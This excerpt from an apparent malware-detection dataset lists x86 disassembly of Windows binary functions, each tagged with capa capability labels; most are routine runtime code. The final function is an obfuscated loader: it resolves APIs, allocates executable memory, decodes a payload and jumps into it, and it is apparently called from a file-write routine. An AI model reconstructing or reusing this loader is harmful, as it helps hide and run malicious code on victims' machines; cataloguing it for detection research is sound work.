joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6169cb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6870f7
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x778f48]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x20019
xor edi, edi
push edi
push str.SYSTEMCurrentControlSetControlLeapSecondInformation
push 0x80000002
mov dword [ebx], edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x616a25
xor eax, eax
jmp 0x616ac0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push str.LeapSeconds
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [ebp - 0x1c], esi
mov dword [ebx], eax
test esi, esi
je 0x616a5d
cmp esi, 0xea
jne 0x616aaa
cmp eax, dword [ebp + 8]
jbe 0x616aaa
xor ecx, ecx
xor esi, esi
push 0xc
pop edx
mul edx
mov dword [ebp - 4], esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00611432
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
push esi
push esi
push str.LeapSeconds
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x616aaa
and dword [ebx], 0
jmp 0x616aaa
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x616abe
push esi
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x617046
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.00647fcb
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x617085
sub eax, 1
je 0x617080
sub eax, 1
je 0x61707c
xor eax, eax
leave
ret
push 3
jmp 0x617087
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret
Function at 0x6392d1
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x778f48]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x6fb3c0
push esi
call fcn.0064e439
pop ecx
pop ecx
test eax, eax
jne 0x6392ff
xor al, al
jmp 0x63937c
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.00638fd5
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x639339
push dword [ebp - 0x210]
call fcn.006300c3
xor al, al
jmp 0x63937a
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x63933f
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x63935f
push edx
call fcn.00639207
pop ecx
test al, al
je 0x63932a
push esi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 1
jbe 0x63936d
mov bl, 1
push dword [ebp - 0x210]
call fcn.006300c3
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.006109fe
leave
ret
Function at 0x64423c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.006119e0
mov eax, dword [0x778f48]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00643d74
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x64427e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x6443da
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0065a440
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x7b3060]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0064d2b0
mov ecx, dword [esi*4 + 0x7b3060]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x6443d3
cmp eax, dword [edi + ecx + 0x24]
jne 0x6443d3
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x6443d3
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0064d2b0
add esp, 0x14
test edx, edx
jl 0x6443d3
jg 0x644349
test eax, eax
jb 0x6443d3
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x6443d3
jl 0x644363
cmp dword [ebp - 0x1008], eax
ja 0x6443d3
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x644381
test ebx, ebx
je 0x6443ba
cmp ecx, edi
jae 0x6443ba
mov al, byte [ecx]
cmp al, 0xd
jne 0x64439b
lea eax, [edi - 1]
cmp ecx, eax
jae 0x6443a7
cmp byte [ecx + 1], 0xa
jne 0x6443a7
inc ecx
jmp 0x6443a7
movzx eax, al
movsx eax, byte [eax + 0x779300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x644381
cmp edx, ebx
jne 0x644381
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x6443d8
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.006109fe
leave
ret
Function at 0x64bd2d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0064bb9e

Function at 0x64c1ac
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x6fd888
push 0x6fd880
push str.FlsAlloc
push 0x1e
call fcn.0064bfd9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x64c1e0
push dword [ebp + 8]
mov ecx, esi
call dword [0x68a308]
call esi
jmp 0x64c1e6
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x64c22a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x6fd898
push 0x6fd890
push str.FlsGetValue
push 0x20
call fcn.0064bfd9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x64c261
push dword [ebp + 8]
mov ecx, esi
call dword [0x68a308]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.DLL_TlsGetValue]

Function at 0x64c74e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x7b3060]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x64c78e
cmp byte [ebx], 0xa
jne 0x64c78e
or byte [eax + edi + 0x28], 4
jmp 0x64c793
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x64c891
mov al, byte [edx]
cmp al, 0x1a
je 0x64c873
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x64c7c2
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x64c7e7
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x64c7f1
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x64c7a4
jmp 0x64c891
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x64c86e
cmp dword [ebp - 0xc], 0
je 0x64c86e
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x7b3060]
test byte [eax + edi + 0x28], 0x48
je 0x64c848
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x64c833
mov byte [esi], dl
jmp 0x64c844
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x7b3060]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x64c891
cmp byte [ebp - 1], 0xa
jne 0x64c857
cmp esi, ebx
jne 0x64c857
mov byte [esi], 0xa
jmp 0x64c890
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0064d2ce
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x64c891
mov byte [esi], 0xd
jmp 0x64c890
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x7b3060]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x64c88d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x64c891
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x64c89a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x7b3060]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x64c8dd
cmp word [esi], dx
jne 0x64c8dd
or byte [edi + eax + 0x28], 4
jmp 0x64c8e2
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x64ca35
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x64ca15
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x64c924
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x64c95a
cmp eax, edx
jae 0x64c966
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x64c8fc
jmp 0x64ca35
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x64ca11
cmp dword [ebp - 0x14], 0
je 0x64ca11
mov eax, dword [ebx*4 + 0x7b3060]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x64c9e9
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x64c9b2
mov word [esi], cx
jmp 0x64c9e5
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x7b3060]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x7b3060]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x7b3060]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x64ca35
pop ebx
cmp word [ebp - 4], bx
jne 0x64c9fa
cmp esi, dword [ebp + 0xc]
jne 0x64c9fa
mov word [esi], bx
jmp 0x64ca32
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0064d2ce
add esp, 0x10
cmp word [ebp - 4], bx
je 0x64ca35
push 0xd
jmp 0x64ca2e
mov ecx, dword [ebx*4 + 0x7b3060]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x64ca2c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x64ca35
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x64ff5b
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x778f48]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x64ffa6
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.006500fa
test al, al
jne 0x64ffa0
sub edx, 2
cmp edx, edi
jne 0x64ff86
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x64ffc8
lea eax, [edi + 2]
cmp edx, eax
je 0x64ffc8
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0064fea7
add esp, 0x10
jmp 0x6500c2
push esi
lea ecx, [ebp - 0x255]
call fcn.006500fa
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x65000b
push dword [ebp - 0x25c]
jmp 0x64ffb8
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x650048
cmp word [ebp - 0x226], 0
je 0x650069
cmp word [ebp - 0x226], ax
jne 0x650048
cmp word [ebp - 0x224], 0
je 0x650069
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0064fea7
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x6500b5
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x650022
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x65009d
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor eax, eax
jmp 0x6500c2
push 0x64fcd7
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00642b60
add esp, 0x10
jmp 0x650092
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006109fe
leave
ret
Function at 0x6509e6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x650a83
push ebx
push esi
call fcn.006509af
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0064f1ed
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x650a30
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x650a82
push edi
push eax
call fcn.00649198
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x650a50
call fcn.00648a99
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x650a81
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0064f1ed
add esp, 0x20
test eax, eax
jne 0x650a6f
push edi
call fcn.00648a99
jmp 0x650a77
push ebx
call fcn.00648a99
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x650a86
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x650a97
pop esi
ret
push ebx
push edi
push esi
call fcn.006509af
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00649198
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x650abf
push ebx
push esi
push edi
call fcn.006262f0
add esp, 0xc
push 0
call fcn.00648a99
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x65120b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00650d32
Function at 0x65955f
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.006594db
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x6596d7
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x6596d7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x659686
jg 0x6595b8
test eax, eax
je 0x65967c
push 1
push 0x1000
call fcn.006491e6
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x6595de
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x659673
push 0x8000
push ebx
call fcn.00644624
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x65960a
jg 0x659605
cmp ecx, 0x1000
jb 0x65960a
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0064b5f4
add esp, 0x10
cmp eax, 0xffffffff
je 0x65964f
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x659605
jl 0x659636
test ecx, ecx
jne 0x6595f7
push dword [ebp - 0xc]
push ebx
call fcn.00644624
push esi
call fcn.00648a99
add esp, 0xc
xor edi, edi
jmp 0x6596e8
cmp byte [edi + 0x24], 0
je 0x659666
cmp dword [edi + 0x20], 5
jne 0x659666
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x659671
mov edi, dword [edi + 0x18]
jmp 0x659673
xor edi, edi
push esi
call fcn.00648a99
pop ecx
jmp 0x6596e8
test ecx, ecx
jg 0x659648
jl 0x659686
test eax, eax
jae 0x659648
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0064d2ce
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x6596a9
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x659648
jmp 0x6596e0
push ebx
call fcn.0064ea0b
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
jne 0x659648
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x6596e8
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x6596e5
mov edi, dword [edi + 0x18]
jmp 0x6596e8
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0064d2ce
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x65a400
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x65a42d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x65a42d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x298072e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x29876b48]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x29807306
xor eax, eax
jmp 0x298073c1
mov eax, dword [esi + 0x20]
cmp dword [eax], 0
je 0x29807328
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, dword [eax]
cmp dword [eax], edx
jae 0x29807328
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x298073c1
cmp dword [esi + 0x4c], 0
je 0x298073bf
call fcn.29806a7d
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x29807352
push dword [esi + 0x4c]
push eax
call fcn.2980f8a9
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x298073bf
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x298073bf
cmp eax, 1
jle 0x2980738d
cmp eax, 3
jne 0x298073bf
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x29807344
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x298073b1
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x298073bf
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x298073c1
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.29801cc0
leave
ret 4
Function at 0x2980f8a9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x2980f8b8
pop dword [ebp - 0x50]
mov eax, 0x2980f8b8
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xc8c149d2
add dword [ebp - 0x60], 0x8590fb79
mov dword [ebp - 0x5c], 0x8fa5644a
add dword [ebp - 0x5c], 0xa28de7fb
mov dword [ebp - 0x58], 0xa3c6f702
add dword [ebp - 0x58], 0xa8854d2c
mov dword [ebp - 0x54], 0x13f573e2
add dword [ebp - 0x54], 0xec0a8c1e
lea eax, [ebp - 0x60]
push eax
mov eax, 0xa020e595
sub eax, 0x769b74d5
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xf437081f
sub dword [ebp - 0x60], 0x7fc49ec9
mov dword [ebp - 0x5c], 0x4963a94
sub dword [ebp - 0x5c], 0xc329d91f
mov dword [ebp - 0x58], 0x5711e0a4
sub dword [ebp - 0x58], 0xf3a27438
mov dword [ebp - 0x54], 0xe0f27fc1
sub dword [ebp - 0x54], 0xe0f27fc1
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x49333
push 0
call eax
mov ecx, 0x4c31
xor edx, edx
add edx, eax
mov edi, 0xc25aff5c
sub edi, 0x98d19b5c
add edi, dword [ebp - 0x50]
mov esi, 0x3672cd2e
add esi, 0x2ee08833
add dword [ebp - 0x38], 0x39b0b343
mov ebx, dword [edi]
xor dword [ebp - 0x30], 0x34533136
add ebx, esi
add dword [ebp - 0x28], eax
mov dword [edx], ebx
add dword [ebp - 0x40], 0xf43284ae
add edx, 4
add edi, 0xd3247170
add edi, 0x2cdb8e94
loop 0x2980f9cc
add eax, 0x7a4c85ea
sub eax, 0x7a4b6253
xor ebx, ebx
add ebx, eax
add eax, 0x721ceb27
add eax, 0x8de314de
mov ecx, 0xba931fdb
add ecx, 0x6eece025
add ecx, dword [ebp - 0x50]
call ebx
leave
ret